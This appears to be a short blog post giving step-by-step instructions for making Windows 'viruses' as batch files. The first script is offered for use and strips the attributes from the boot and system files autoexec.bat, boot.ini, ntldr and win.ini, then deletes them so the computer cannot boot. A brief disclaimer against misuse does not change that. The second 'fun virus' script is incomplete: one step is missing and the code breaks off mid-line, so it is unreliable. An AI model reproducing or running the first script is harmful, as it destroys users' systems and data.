Creating Computer viruses

In this post I will say how to create some more dangerous application. Activating this will shut down the computer after deleting the files required for booting and not boot during restart. So handle with care otherwise it will end up in the permanent crash. Please do not use this to harm others. I found it from Garena.com.

Open a notepad and type the following and save it as "filename.bat" file.


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

How to make a Virus for fun

While I was searching for latest information about the computer viruses in the internet, I came across a site that tells how to make a simple virus for fun. Its link is: http://ardiansyahputra.wordpress.com/2008/08/23/create-a-harmless-virus-in-notepad-cara-membuat-virus-jinak-di-notepad/

I have put it for you. It can be edited according to your wish. However I didn't edited as it is his work. Please do not use this for any malpractices.

Step 1.
Open a notepad
Step 2.
Type the following codes in the notepad.
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo BERSIAP-SIAP MENGHANCURKAN SYSTEM…
echo …………………
echo:
echo:
start /w wscript.exe C:\sleep3000.vbs
echo NEXT…………! properties -> options -> full screen


Step 4 is not necessary. But it will magnify the effect.


Step 5.
Yes, that is the only step remaining -activate it by double clicking on the icon.



To deactivate To Abort virus Click so that your PC is not shutdown: START – RUN and type command: shutdown -a before remaining time is over.
look at the fig. below